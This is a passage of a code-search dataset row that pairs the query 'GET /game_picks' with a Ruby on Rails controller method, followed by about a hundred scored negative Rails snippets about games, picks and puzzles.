\"0.5514449\",\n \"0.5512837\",\n \"0.55124456\",\n \"0.5500348\",\n \"0.5498813\",\n \"0.5498082\",\n \"0.5497394\",\n \"0.54921514\",\n \"0.54837507\",\n \"0.5482523\",\n \"0.5482188\",\n \"0.54805756\",\n \"0.54628795\",\n \"0.5461599\",\n \"0.5453721\",\n \"0.5449306\",\n \"0.5448569\",\n \"0.54474217\",\n \"0.54430807\",\n \"0.5442075\",\n \"0.54336566\",\n \"0.5430522\",\n \"0.54262877\",\n \"0.542465\",\n \"0.5422207\",\n \"0.54131496\",\n \"0.5406586\",\n \"0.5402135\",\n \"0.54003674\",\n \"0.5390861\",\n \"0.539011\",\n \"0.5377022\",\n \"0.53747606\",\n \"0.5368803\",\n \"0.53614324\",\n \"0.5361408\",\n \"0.535874\",\n \"0.53580207\",\n \"0.5357273\",\n \"0.5356988\",\n \"0.5351361\",\n \"0.53482103\",\n \"0.53463274\",\n \"0.5346273\",\n \"0.53454155\",\n \"0.5340878\",\n \"0.5331057\",\n \"0.5331057\",\n \"0.5330579\",\n \"0.5330579\",\n \"0.5328653\",\n \"0.53279394\",\n \"0.5326133\",\n \"0.5319579\",\n \"0.531792\",\n \"0.53148293\",\n \"0.5311102\",\n \"0.53076845\",\n \"0.53052485\",\n \"0.53018993\",\n \"0.52973866\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.66956204"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":171999,"cells":{"query":{"kind":"string","value":"GET /game_picks GET /game_picks.json"},"document":{"kind":"string","value":"def index\n @game_picks = GamePick.all\n end"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def show\n @pick = @game.picks.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pick }\n end\n end","def index\n @games_picks = GamesPick.all\n end","def index\n @picks = PickName.order(:id).all\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render json: @picks }\n end\n end","def show\n @picks = @hashtag.picks.page(params[:page]).per(10)\n render json: @picks, include: [params[:include]]\n end","def index\n waiver_picks_decorator = WaiverPicksDecorator.new(\n @fpl_team.waiver_picks.where(round_id: (params[:round_id] || Round.current_round.id))\n )\n\n render json: { waiver_picks: waiver_picks_decorator.all_data }\n end","def fetch_json(game)\n RestClient.post(\"#{ENV['BASE_URI']}\" + \"#{ENV['ENDPOINT']}\", game.to_json, content_type: :json)\n end","def index\n skickers = Skicker.order(power: :asc)\n render json: { status: 'SUCCESS', message: 'Loaded skickers', value: skickers }\n end","def index\n @user = User.find(params[:user_id])\n @picks = @user.picks.order(\"created_at DESC\").page(params[:page]).per(20)\n end","def create\n @game = Game.find params[:game_id]\n if @game.picks.find_by(user_id: current_user.id)\n else\n @pick = @game.picks.build(picks_params)\n @pick.user = current_user\n @pick.save\n end\n\n respond_to do |format|\n if @pick.save\n format.html { redirect_to games_path, notice: 'Pick was successfully created.' }\n format.json { render json: @pick, status: :created, location: @pick }\n else\n format.html { render action: \"new\", id: @pick.id }\n format.json { render json: @pick.errors, status: :unprocessable_entity }\n end\n end\n end","def index\n @super_bowl_picks = SuperBowlPick.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @super_bowl_picks }\n end\n end","def index\n @kicks = Kick.all\n end","def index\n @random_picks = RandomPick.all\n end","def index\n @picks = Pick.all\n end","def show\n @message = Message.find(params[:id])\n @picks = @message.picks.all\n end","def player_points_by_game\n player = Player.find(params[:id])\n stats = Statline.where(player: player).order(date: :asc)\n data = Array.new\n labels = Array.new\n stats.each do |line|\n labels << line.opponent.name\n data << line.points\n end\n json = { data: data, labels: labels }\n\n render json: json\n end","def index\n @games = Game.all\n render json: @games\n end","def index\n @games = Game.available\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end","def puzzles\n render json: {\n puzzles: @level.repetition_puzzles\n }\n end","def puzzles\n render json: {\n puzzles: HastePuzzle.random_level(100)\n }\n end","def show_rounds\n\t\t@rounds = @participant.rounds\n\t\trender json: @rounds\n\tend","def guild_perks\r\n BnetApi::make_request('/wow/data/guild/perks')\r\n end","def show\n render json: @game\n end","def index\n if params[:show] == \"upcoming\"\n @games = Game.where(:final => false).order(\"kickoff\")\n else\n @games = Game.order(\"kickoff\")\n end\n\n # Find all tips for the currently logged in user\n setup_user_tips_hash\n setup_winners_right_now\n calculate_odds\n\n # Get the leaders for the sidebar\n @leaders = User.order(\"points DESC\").limit(10)\n\n # Find the latest comment. For the polling to work.\n @last_comment = Comment.order(\"updated_at DESC\").first\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end","def puzzles\n render json: {\n # This uses the same puzzle pool as Haste mode\n puzzles: HastePuzzle.random_level(100).as_json(lichess_puzzle_id: true)\n }\n end","def index\n @shots = Shot.all\n\n render json: @shots\n end","def new\n @game = Game.find params[:game_id]\n @pick = @game.picks.find_or_initialize_by(user_id: current_user.id)\n end","def show\n render json: @games_leaderboard\n end","def index\n @profile_picks = ProfilePick.all\n end","def show\n @game = Game.find(params[:id])\n render json: @game, status: 200\n end","def index\n game = Game.all\n\n render json: game, include: :teams\n end","def index\n @games_leaderboards = Games::Leaderboard.all\n\n render json: @games_leaderboards\n end","def show\n render json: Game.find(params[:id])\n end","def games\n @logger.log(BEFORE_CHECK_GAMES)\n parsed_response = get_and_parse(\"/api/games/my_turn.json\")\n games = parsed_response[\"body\"]\n @logger.log(AFTER_CHECK_GAMES, \"Found #{games.size} games\")\n games\n end","def show\n @game = Game.where(user_id: current_user.id).find(params[:game_id])\n @round = @game.rounds.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @round }\n end\n end","def index\n @pitches = Pitch.page(params[:page]).order(id: :desc)\n rv = {\n items: @pitches.map {|pitch| pitch.as_json},\n total_pages: @pitches.total_pages,\n }\n api_success rv\n end","def index\n @mini_games = MiniGame.all\n render json: @mini_games, status: :ok\n end","def client_choose(offset = 10, limit = 20)\n response = Net::HTTP.get(\n URI(\"https://pokeapi.co/api/v2/pokemon/?offset=#{offset}&limit=#{limit}\")\n )\n \n JSON.parse(response)\nend","def puzzles\n render json: @user.next_infinity_puzzle_set(\n params[:difficulty],\n params[:after_puzzle_id]\n )\n end","def index\n @kicks = Kick.kick_size\n end","def index\n @kickers = Kicker.all\n end","def show\n render json: @dice\n end","def process_picks()\n\tsession[\"round_winner\"] = round_win(session[\"p1_pick\"], session[\"p2_pick\"])\n tally_score(session[\"round_winner\"])\n session[\"game_winner\"] = the_winner(session[\"p1_total_score\"], session[\"p2_total_score\"])\nend","def serv_json\n \"http://api.dribbble.com/shots/popular?page=1\"\n end","def index\n @game_game_instances = if admin? || staff?\n Game::GameInstance.all\n else\n if !current_identity.nil? && current_identity.insider?\n Game::GameInstance.available.visible\n else \n Game::GameInstance.available.visible.visible_to_non_insiders\n end\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json do\n if !current_identity.nil?\n @game_game_instances.each { |instance| instance.current_identity = current_identity }\n render json: @game_game_instances, :methods => [:random_selected_servers, :has_player_joined?, :default_game?]\n else\n render json: @game_game_instances, :methods => [:random_selected_servers, :default_game?]\n end\n end\n end\n end","def index\n @picks = Pick.paginate(:page => params[:page], :per_page => 100)\n end","def index\n @boxscores = @game.boxscores\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @boxscores }\n end\n end","def breakdown\n @points = current_user.points.limit(5)\n render json: @points, status: 200\n end","def puzzles\n puzzles = RatedPuzzle.for_user(current_user)\n unless params[:next].present?\n puzzles = [RepetitionLevel.number(1).first_puzzle] + puzzles\n end\n render json: {\n puzzles: puzzles\n }\n end","def index\n @user_tricks = UserTrick.all\n\n render json: UserTrickSerializer.new(@user_tricks).serialized_json\n end","def get_random_pokemon(number)\n uri = URI(\"https://pokeapi.co/api/v2/pokemon/#{number}\")\n res = Net::HTTP.get_response(uri)\n JSON.parse(res.body)\nend","def index\n @games = current_user.games\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end","def json\n url = 'http://api.dribbble.com/players/' + @user + '/shots?per_page=' + @shots_per_page.to_s + '&page=' + @page.to_s\n resp = Net::HTTP.get_response(URI.parse(url))\n return resp.body\n end","def hours\n render json: Pings::Selector.new.hours(params)\n end","def index\n @dices = Dice.all\n\n render json: @dices\n end","def game_details\n new_game = Game.last\n\n render :json => new_game.to_json( :include => :players )\n end","def index\n @moves = @game.moves.all\n render json: @moves, status: 200\n end","def index\n @game_watches = GameWatch.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @game_watches }\n end\n end","def set_games_pick\n @games_pick = GamesPick.find(params[:id])\n end","def show\n @grumble = Grumble.find(params[:id])\n render status: 200, json: @grumble.to_json\n end","def index\n @mma_picks_pools = MmaPicksPool.all\n end","def puzzles\n speedrun_level = SpeedrunLevel.todays_level || SpeedrunLevel.first_level\n render json: {\n level_name: speedrun_level.name,\n puzzles: speedrun_level.puzzles\n }\n end","def index\n @choices = Choice.all\n\n render json: @choices\n end","def index\n @game_rounds = current_user.game_rounds\n end","def my_list\n @user = get_current_user\n if @user\n favorites = UserGame.where(user_id: @user.id).map {|fav| fav.game.game_id }\n render json: favorites\n else\n render json: {\n error: \"Favorite Games Currently Unaccessible\",\n status: 400\n }, status: 400\n end\n end","def pick\n set_lobby\n team = find_team\n name = params[:name]\n @lobby.pick(team, name)\n render :json => { :message => \"#{team_name(team)} has picked #{name}\"}, :status => :ok\n end","def set_game_pick\n @game_pick = GamePick.find(params[:id])\n end","def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end","def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end","def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end","def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end","def index\n @pitches = Pitch.all\n end","def index\n @players = Player.all\n render json: @players\n end","def index\n @puzzles = Puzzle.order :name\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @puzzles }\n end\n end","def index\n @military_battle_rounds = Military::BattleRound.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @military_battle_rounds }\n end\n end","def index\n @players = Player.all\n render json: @players, status: 200\n end","def show\n @game = Game.find(params[:id])\n @matches = @game.player_matchups\n @scores = @game.scores\n @match_points = @matches.collect { |mp| @game.match_scores(mp.first, mp.last) }\n @net_points = @game.net_points\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end","def index\n player = Player.all\n render json: players, status: 200\n end","def show\n @holdgame = Holdgame.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @holdgame }\n end\n end","def show\n @holdgame = Holdgame.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @holdgame }\n end\n end","def index\n @sicks = Sick.all\n end","def index\n @pitches = Pitch.all\n end","def index\n streaks = Streak.active.all\n render_jsonapi(streaks)\n end","def show\n @kickoff = Kickoff.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @punt }\n end\n end","def index\n @games = Game.find_all_by_meeting_id(@meeting.id)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end","def check_ranked_beer\n render json: Beer.find_by(beer_id: params[:beerId])\n end","def index\n @winners = Winner.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @winners }\n end\n end","def index\n @winning_numbers = WinningNumber.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @winning_numbers }\n end\n end","def puzzle_attempts_list\n @puzzle_attempts = user_rating\n .rated_puzzle_attempts.order('id DESC').limit(30)\n end","def index\n unless @level.present?\n redirect_to @user.highest_repetition_level_unlocked.path\n return\n end\n @formatted_round_times = current_user&.round_times_for_level_id(@level.id) || []\n if current_user&.completed_repetition_level?(@level)\n @high_scores = @level.high_scores\n else\n @high_scores = []\n end\n render \"game_modes/repetition\"\n end","def current_picks\n @current_picks ||= festival.picks_for(user)\n end","def index\n @games = Game.order('title')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end","def index\n @pricings = Pricing.all\n\n render json: @pricings\n end","def index\n championship = Championship.find_by_desc($current_championship)\n unless championship == nil?\n @rounds = Round.get_all_rounds_by_championship_id(championship.id, params[:page])\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @rounds }\n end\n end","def get_champion_data(patch_number)\n response_string = RestClient.get(\"http://ddragon.leagueoflegends.com/cdn/#{patch_number}/data/en_US/champion.json\")\n response_hash = JSON.parse(response_string)\n champion_data = response_hash[\"data\"]\nend","def index\n @opponent = Opponent.all\n render json: @opponent\n end","def index\n @games = current_user.games\n @my_turns = current_user.games.my_turn\n\n respond_to do |format|\n format.html do\n @game = Game.new # for the form\n render :action => 'index'\n end\n format.json do\n render json: (params[:my_turn] ? @my_turns : @games)\n end\n end\n end","def show\n @scratcher = Scratcher.find(params[:id])\n\n render json: @scratcher\n end","def index\n\n # use a shooting collection cache\n\n respond_to do |format|\n format.html # index.html.erb\n format.json do\n @shootings = Shooting.get_shootings_from_yammer(Yammer::TokenClient.new(token: current_user.access_token))\n render json: { shootings: @shootings }\n end\n end\n end","def get_bgg_game\n response = HTTParty.get('https://www.boardgamegeek.com/xmlapi2/thing?id='+ @gameid)\n end","def show\n if Game.last\n @game = Game.find(params[:id])\n render json: @game\n else\n @game = Game.create()\n render json: @game\n end\n end"],"string":"[\n \"def show\\n @pick = @game.picks.find(params[:id])\\n\\n respond_to do |format|\\n format.html # show.html.erb\\n format.json { render json: @pick }\\n end\\n end\",\n \"def index\\n @games_picks = GamesPick.all\\n end\",\n \"def index\\n @picks = PickName.order(:id).all\\n\\n respond_to do |format|\\n format.html # index.html.haml\\n format.json { render json: @picks }\\n end\\n end\",\n \"def show\\n @picks = @hashtag.picks.page(params[:page]).per(10)\\n render json: @picks, include: [params[:include]]\\n end\",\n \"def index\\n waiver_picks_decorator = WaiverPicksDecorator.new(\\n @fpl_team.waiver_picks.where(round_id: (params[:round_id] || Round.current_round.id))\\n )\\n\\n render json: { waiver_picks: waiver_picks_decorator.all_data }\\n end\",\n \"def fetch_json(game)\\n RestClient.post(\\\"#{ENV['BASE_URI']}\\\" + \\\"#{ENV['ENDPOINT']}\\\", game.to_json, content_type: :json)\\n end\",\n \"def index\\n skickers = Skicker.order(power: :asc)\\n render json: { status: 'SUCCESS', message: 'Loaded skickers', value: skickers }\\n end\",\n \"def index\\n @user = User.find(params[:user_id])\\n @picks = @user.picks.order(\\\"created_at DESC\\\").page(params[:page]).per(20)\\n end\",\n \"def create\\n @game = Game.find params[:game_id]\\n if @game.picks.find_by(user_id: current_user.id)\\n else\\n @pick = @game.picks.build(picks_params)\\n @pick.user = current_user\\n @pick.save\\n end\\n\\n respond_to do |format|\\n if @pick.save\\n format.html { redirect_to games_path, notice: 'Pick was successfully created.' }\\n format.json { render json: @pick, status: :created, location: @pick }\\n else\\n format.html { render action: \\\"new\\\", id: @pick.id }\\n format.json { render json: @pick.errors, status: :unprocessable_entity }\\n end\\n end\\n end\",\n \"def index\\n @super_bowl_picks = SuperBowlPick.all\\n\\n respond_to do |format|\\n format.html # index.html.erb\\n format.json { render json: @super_bowl_picks }\\n end\\n end\",\n \"def index\\n @kicks = Kick.all\\n end\",\n \"def index\\n @random_picks = RandomPick.all\\n end\",\n \"def index\\n @picks = Pick.all\\n end\",\n \"def show\\n @message = Message.find(params[:id])\\n @picks = @message.picks.all\\n end\",\n \"def player_points_by_game\\n player = Player.find(params[:id])\\n stats = Statline.where(player: player).order(date: :asc)\\n data = Array.new\\n labels = Array.new\\n stats.each do |line|\\n labels << line.opponent.name\\n data << line.points\\n end\\n json = { data: data, labels: labels }\\n\\n render json: json\\n end\",\n \"def index\\n @games = Game.all\\n render json: @games\\n end\",\n \"def index\\n @games = Game.available\\n\\n respond_to do |format|\\n format.html # index.html.erb\\n format.json { render json: @games }\\n end\\n end\",\n \"def puzzles\\n render json: {\\n puzzles: @level.repetition_puzzles\\n }\\n end\",\n \"def puzzles\\n render json: {\\n puzzles: HastePuzzle.random_level(100)\\n }\\n end\",\n \"def show_rounds\\n\\t\\t@rounds = @participant.rounds\\n\\t\\trender json: @rounds\\n\\tend\",\n \"def guild_perks\\r\\n BnetApi::make_request('/wow/data/guild/perks')\\r\\n end\",\n \"def show\\n render json: @game\\n end\",\n \"def index\\n if params[:show] == \\\"upcoming\\\"\\n @games = Game.where(:final => false).order(\\\"kickoff\\\")\\n else\\n @games = Game.order(\\\"kickoff\\\")\\n end\\n\\n # Find all tips for the currently logged in user\\n setup_user_tips_hash\\n setup_winners_right_now\\n calculate_odds\\n\\n # Get the leaders for the sidebar\\n @leaders = User.order(\\\"points DESC\\\").limit(10)\\n\\n # Find the latest comment. For the polling to work.\\n @last_comment = Comment.order(\\\"updated_at DESC\\\").first\\n\\n respond_to do |format|\\n format.html # index.html.erb\\n format.json { render json: @games }\\n end\\n end\",\n \"def puzzles\\n render json: {\\n # This uses the same puzzle pool as Haste mode\\n puzzles: HastePuzzle.random_level(100).as_json(lichess_puzzle_id: true)\\n }\\n end\",\n \"def index\\n @shots = Shot.all\\n\\n render json: @shots\\n end\",\n \"def new\\n @game = Game.find params[:game_id]\\n @pick = @game.picks.find_or_initialize_by(user_id: current_user.id)\\n end\",\n \"def show\\n render json: @games_leaderboard\\n end\",\n \"def index\\n @profile_picks = ProfilePick.all\\n end\",\n \"def show\\n @game = Game.find(params[:id])\\n render json: @game, status: 200\\n end\",\n \"def index\\n game = Game.all\\n\\n render json: game, include: :teams\\n end\",\n \"def index\\n @games_leaderboards = Games::Leaderboard.all\\n\\n render json: @games_leaderboards\\n end\",\n \"def show\\n render json: Game.find(params[:id])\\n end\",\n \"def games\\n @logger.log(BEFORE_CHECK_GAMES)\\n parsed_response = get_and_parse(\\\"/api/games/my_turn.json\\\")\\n games = parsed_response[\\\"body\\\"]\\n @logger.log(AFTER_CHECK_GAMES, \\\"Found #{games.size} games\\\")\\n games\\n end\",\n \"def show\\n @game = Game.where(user_id: current_user.id).find(params[:game_id])\\n @round = @game.rounds.find(params[:id])\\n\\n respond_to do |format|\\n format.html # show.html.erb\\n format.json { render json: @round }\\n end\\n end\",\n \"def index\\n @pitches = Pitch.page(params[:page]).order(id: :desc)\\n rv = {\\n items: @pitches.map {|pitch| pitch.as_json},\\n total_pages: @pitches.total_pages,\\n }\\n api_success rv\\n end\",\n \"def index\\n @mini_games = MiniGame.all\\n render json: @mini_games, status: :ok\\n end\",\n \"def client_choose(offset = 10, limit = 20)\\n response = Net::HTTP.get(\\n URI(\\\"https://pokeapi.co/api/v2/pokemon/?offset=#{offset}&limit=#{limit}\\\")\\n )\\n \\n JSON.parse(response)\\nend\",\n \"def puzzles\\n render json: @user.next_infinity_puzzle_set(\\n params[:difficulty],\\n params[:after_puzzle_id]\\n )\\n end\",\n \"def index\\n @kicks = Kick.kick_size\\n end\",\n \"def index\\n @kickers = Kicker.all\\n end\",\n \"def show\\n render json: @dice\\n end\",\n \"def process_picks()\\n\\tsession[\\\"round_winner\\\"] = round_win(session[\\\"p1_pick\\\"], session[\\\"p2_pick\\\"])\\n tally_score(session[\\\"round_winner\\\"])\\n session[\\\"game_winner\\\"] = the_winner(session[\\\"p1_total_score\\\"], session[\\\"p2_total_score\\\"])\\nend\",\n \"def serv_json\\n \\\"http://api.dribbble.com/shots/popular?page=1\\\"\\n end\",\n \"def index\\n @game_game_instances = if admin? || staff?\\n Game::GameInstance.all\\n else\\n if !current_identity.nil? && current_identity.insider?\\n Game::GameInstance.available.visible\\n else \\n Game::GameInstance.available.visible.visible_to_non_insiders\\n end\\n end\\n\\n respond_to do |format|\\n format.html # index.html.erb\\n format.json do\\n if !current_identity.nil?\\n @game_game_instances.each { |instance| instance.current_identity = current_identity }\\n render json: @game_game_instances, :methods => [:random_selected_servers, :has_player_joined?, :default_game?]\\n else\\n render json: @game_game_instances, :methods => [:random_selected_servers, :default_game?]\\n end\\n end\\n end\\n end\",\n \"def index\\n @picks = Pick.paginate(:page => params[:page], :per_page => 100)\\n end\",\n \"def index\\n @boxscores = @game.boxscores\\n\\n respond_to do |format|\\n format.html # index.html.erb\\n format.json { render json: @boxscores }\\n end\\n end\",\n \"def breakdown\\n @points = current_user.points.limit(5)\\n render json: @points, status: 200\\n end\",\n \"def puzzles\\n puzzles = RatedPuzzle.for_user(current_user)\\n unless params[:next].present?\\n puzzles = [RepetitionLevel.number(1).first_puzzle] + puzzles\\n end\\n render json: {\\n puzzles: puzzles\\n }\\n end\",\n \"def index\\n @user_tricks = UserTrick.all\\n\\n render json: UserTrickSerializer.new(@user_tricks).serialized_json\\n end\",\n \"def get_random_pokemon(number)\\n uri = URI(\\\"https://pokeapi.co/api/v2/pokemon/#{number}\\\")\\n res = Net::HTTP.get_response(uri)\\n JSON.parse(res.body)\\nend\",\n \"def index\\n @games = current_user.games\\n \\n respond_to do |format|\\n format.html # index.html.erb\\n format.json { render json: @games }\\n end\\n end\",\n \"def json\\n url = 'http://api.dribbble.com/players/' + @user + '/shots?per_page=' + @shots_per_page.to_s + '&page=' + @page.to_s\\n resp = Net::HTTP.get_response(URI.parse(url))\\n return resp.body\\n end\",\n \"def hours\\n render json: Pings::Selector.new.hours(params)\\n end\",\n \"def index\\n @dices = Dice.all\\n\\n render json: @dices\\n end\",\n \"def game_details\\n new_game = Game.last\\n\\n render :json => new_game.to_json( :include => :players )\\n end\",\n \"def index\\n @moves = @game.moves.all\\n render json: @moves, status: 200\\n end\",\n \"def index\\n @game_watches = GameWatch.all\\n\\n respond_to do |format|\\n format.html # index.html.erb\\n format.json { render json: @game_watches }\\n end\\n end\",\n \"def set_games_pick\\n @games_pick = GamesPick.find(params[:id])\\n end\",\n \"def show\\n @grumble = Grumble.find(params[:id])\\n render status: 200, json: @grumble.to_json\\n end\",\n \"def index\\n @mma_picks_pools = MmaPicksPool.all\\n end\",\n \"def puzzles\\n speedrun_level = SpeedrunLevel.todays_level || SpeedrunLevel.first_level\\n render json: {\\n level_name: speedrun_level.name,\\n puzzles: speedrun_level.puzzles\\n }\\n end\",\n \"def index\\n @choices = Choice.all\\n\\n render json: @choices\\n end\",\n \"def index\\n @game_rounds = current_user.game_rounds\\n end\",\n \"def my_list\\n @user = get_current_user\\n if @user\\n favorites = UserGame.where(user_id: @user.id).map {|fav| fav.game.game_id }\\n render json: favorites\\n else\\n render json: {\\n error: \\\"Favorite Games Currently Unaccessible\\\",\\n status: 400\\n }, status: 400\\n end\\n end\",\n \"def pick\\n set_lobby\\n team = find_team\\n name = params[:name]\\n @lobby.pick(team, name)\\n render :json => { :message => \\\"#{team_name(team)} has picked #{name}\\\"}, :status => :ok\\n end\",\n \"def set_game_pick\\n @game_pick = GamePick.find(params[:id])\\n end\",\n \"def index\\n @games = Game.all\\n\\n respond_to do |format|\\n format.html # index.html.erb\\n format.json { render json: @games }\\n end\\n end\",\n \"def index\\n @games = Game.all\\n\\n respond_to do |format|\\n format.html # index.html.erb\\n format.json { render json: @games }\\n end\\n end\",\n \"def index\\n @games = Game.all\\n\\n respond_to do |format|\\n format.html # index.html.erb\\n format.json { render json: @games }\\n end\\n end\",\n \"def index\\n @games = Game.all\\n\\n respond_to do |format|\\n format.html # index.html.erb\\n format.json { render json: @games }\\n end\\n end\",\n \"def index\\n @pitches = Pitch.all\\n end\",\n \"def index\\n @players = Player.all\\n render json: @players\\n end\",\n \"def index\\n @puzzles = Puzzle.order :name\\n\\n respond_to do |format|\\n format.html # index.html.erb\\n format.json { render json: @puzzles }\\n end\\n end\",\n \"def index\\n @military_battle_rounds = Military::BattleRound.all\\n\\n respond_to do |format|\\n format.html # index.html.erb\\n format.json { render json: @military_battle_rounds }\\n end\\n end\",\n \"def index\\n @players = Player.all\\n render json: @players, status: 200\\n end\",\n \"def show\\n @game = Game.find(params[:id])\\n @matches = @game.player_matchups\\n @scores = @game.scores\\n @match_points = @matches.collect { |mp| @game.match_scores(mp.first, mp.last) }\\n @net_points = @game.net_points\\n\\n\\n respond_to do |format|\\n format.html # show.html.erb\\n format.json { render json: @game }\\n end\\n end\",\n \"def index\\n player = Player.all\\n render json: players, status: 200\\n end\",\n \"def show\\n @holdgame = Holdgame.find(params[:id])\\n\\n respond_to do |format|\\n format.html # show.html.erb\\n format.json { render json: @holdgame }\\n end\\n end\",\n \"def show\\n @holdgame = Holdgame.find(params[:id])\\n\\n respond_to do |format|\\n format.html # show.html.erb\\n format.json { render json: @holdgame }\\n end\\n end\",\n \"def index\\n @sicks = Sick.all\\n end\",\n \"def index\\n @pitches = Pitch.all\\n end\",\n \"def index\\n streaks = Streak.active.all\\n render_jsonapi(streaks)\\n end\",\n \"def show\\n @kickoff = Kickoff.find(params[:id])\\n\\n respond_to do |format|\\n format.html # show.html.erb\\n format.json { render json: @punt }\\n end\\n end\",\n \"def index\\n @games = Game.find_all_by_meeting_id(@meeting.id)\\n respond_to do |format|\\n format.html # index.html.erb\\n format.json { render json: @games }\\n end\\n end\",\n \"def check_ranked_beer\\n render json: Beer.find_by(beer_id: params[:beerId])\\n end\",\n \"def index\\n @winners = Winner.all\\n\\n respond_to do |format|\\n format.html # index.html.erb\\n format.json { render json: @winners }\\n end\\n end\",\n \"def index\\n @winning_numbers = WinningNumber.all\\n\\n respond_to do |format|\\n format.html # index.html.erb\\n format.json { render json: @winning_numbers }\\n end\\n end\",\n \"def puzzle_attempts_list\\n @puzzle_attempts = user_rating\\n .rated_puzzle_attempts.order('id DESC').limit(30)\\n end\",\n \"def index\\n unless @level.present?\\n redirect_to @user.highest_repetition_level_unlocked.path\\n return\\n end\\n @formatted_round_times = current_user&.round_times_for_level_id(@level.id) || []\\n if current_user&.completed_repetition_level?(@level)\\n @high_scores = @level.high_scores\\n else\\n @high_scores = []\\n end\\n render \\\"game_modes/repetition\\\"\\n end\",\n \"def current_picks\\n @current_picks ||= festival.picks_for(user)\\n end\",\n \"def index\\n @games = Game.order('title')\\n\\n respond_to do |format|\\n format.html # index.html.erb\\n format.json { render json: @games }\\n end\\n end\",\n \"def index\\n @pricings = Pricing.all\\n\\n render json: @pricings\\n end\",\n \"def index\\n championship = Championship.find_by_desc($current_championship)\\n unless championship == nil?\\n @rounds = Round.get_all_rounds_by_championship_id(championship.id, params[:page])\\n end\\n respond_to do |format|\\n format.html # index.html.erb\\n format.json { render :json => @rounds }\\n end\\n end\",\n \"def get_champion_data(patch_number)\\n response_string = RestClient.get(\\\"http://ddragon.leagueoflegends.com/cdn/#{patch_number}/data/en_US/champion.json\\\")\\n response_hash = JSON.parse(response_string)\\n champion_data = response_hash[\\\"data\\\"]\\nend\",\n \"def index\\n @opponent = Opponent.all\\n render json: @opponent\\n end\",\n \"def index\\n @games = current_user.games\\n @my_turns = current_user.games.my_turn\\n\\n respond_to do |format|\\n format.html do\\n @game = Game.new # for the form\\n render :action => 'index'\\n end\\n format.json do\\n render json: (params[:my_turn] ? @my_turns : @games)\\n end\\n end\\n end\",\n \"def show\\n @scratcher = Scratcher.find(params[:id])\\n\\n render json: @scratcher\\n end\",\n \"def index\\n\\n # use a shooting collection cache\\n\\n respond_to do |format|\\n format.html # index.html.erb\\n format.json do\\n @shootings = Shooting.get_shootings_from_yammer(Yammer::TokenClient.new(token: current_user.access_token))\\n render json: { shootings: @shootings }\\n end\\n end\\n end\",\n \"def get_bgg_game\\n response = HTTParty.get('https://www.boardgamegeek.com/xmlapi2/thing?id='+ @gameid)\\n end\",\n \"def show\\n if Game.last\\n @game = Game.find(params[:id])\\n render json: @game\\n else\\n @game = Game.create()\\n render json: @game\\n end\\n end\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.7322053","0.6851139","0.6650006","0.6503411","0.6251595","0.62391436","0.61957216","0.6171289","0.61484873","0.61210155","0.6093824","0.60093635","0.59700143","0.5945113","0.5936381","0.58422315","0.5835671","0.5786498","0.57838005","0.57581025","0.5746317","0.57318926","0.5721935","0.57202226","0.57008284","0.5696625","0.56964684","0.56898504","0.5655038","0.5642578","0.5631312","0.561114","0.5593789","0.55833423","0.5583153","0.5580771","0.55798966","0.5570596","0.55675715","0.556458","0.5546862","0.55386746","0.5527114","0.5517924","0.5509032","0.55057144","0.5499461","0.5496254","0.54933804","0.54920197","0.5488992","0.54824346","0.5470078","0.5463763","0.54578733","0.54513997","0.54411006","0.5440305","0.5439134","0.5434276","0.543029","0.54299325","0.5423914","0.54213244","0.54202384","0.54046834","0.5403745","0.5403147","0.5403147","0.5403147","0.53997934","0.5398818","0.5397877","0.5391452","0.5386841","0.53646034","0.5360685","0.5355104","0.5355104","0.5334252","0.5333834","0.5328724","0.5319651","0.5319398","0.5319274","0.5309987","0.5303462","0.52973795","0.52942884","0.5288012","0.5279891","0.527801","0.5273001","0.5263059","0.52603185","0.5259717","0.5254855","0.52546924","0.52526057","0.5251313"],"string":"[\n \"0.7322053\",\n \"0.6851139\",\n \"0.6650006\",\n \"0.6503411\",\n \"0.6251595\",\n \"0.62391436\",\n \"0.61957216\",\n \"0.6171289\",\n \"0.61484873\",\n \"0.61210155\",\n \"0.6093824\",\n \"0.60093635\",\n \"0.59700143\",\n \"0.5945113\",\n \"0.5936381\",\n \"0.58422315\",\n \"0.5835671\",\n \"0.5786498\",\n \"0.57838005\",\n \"0.57581025\",\n \"0.5746317\",\n \"0.57318926\",\n \"0.5721935\",\n 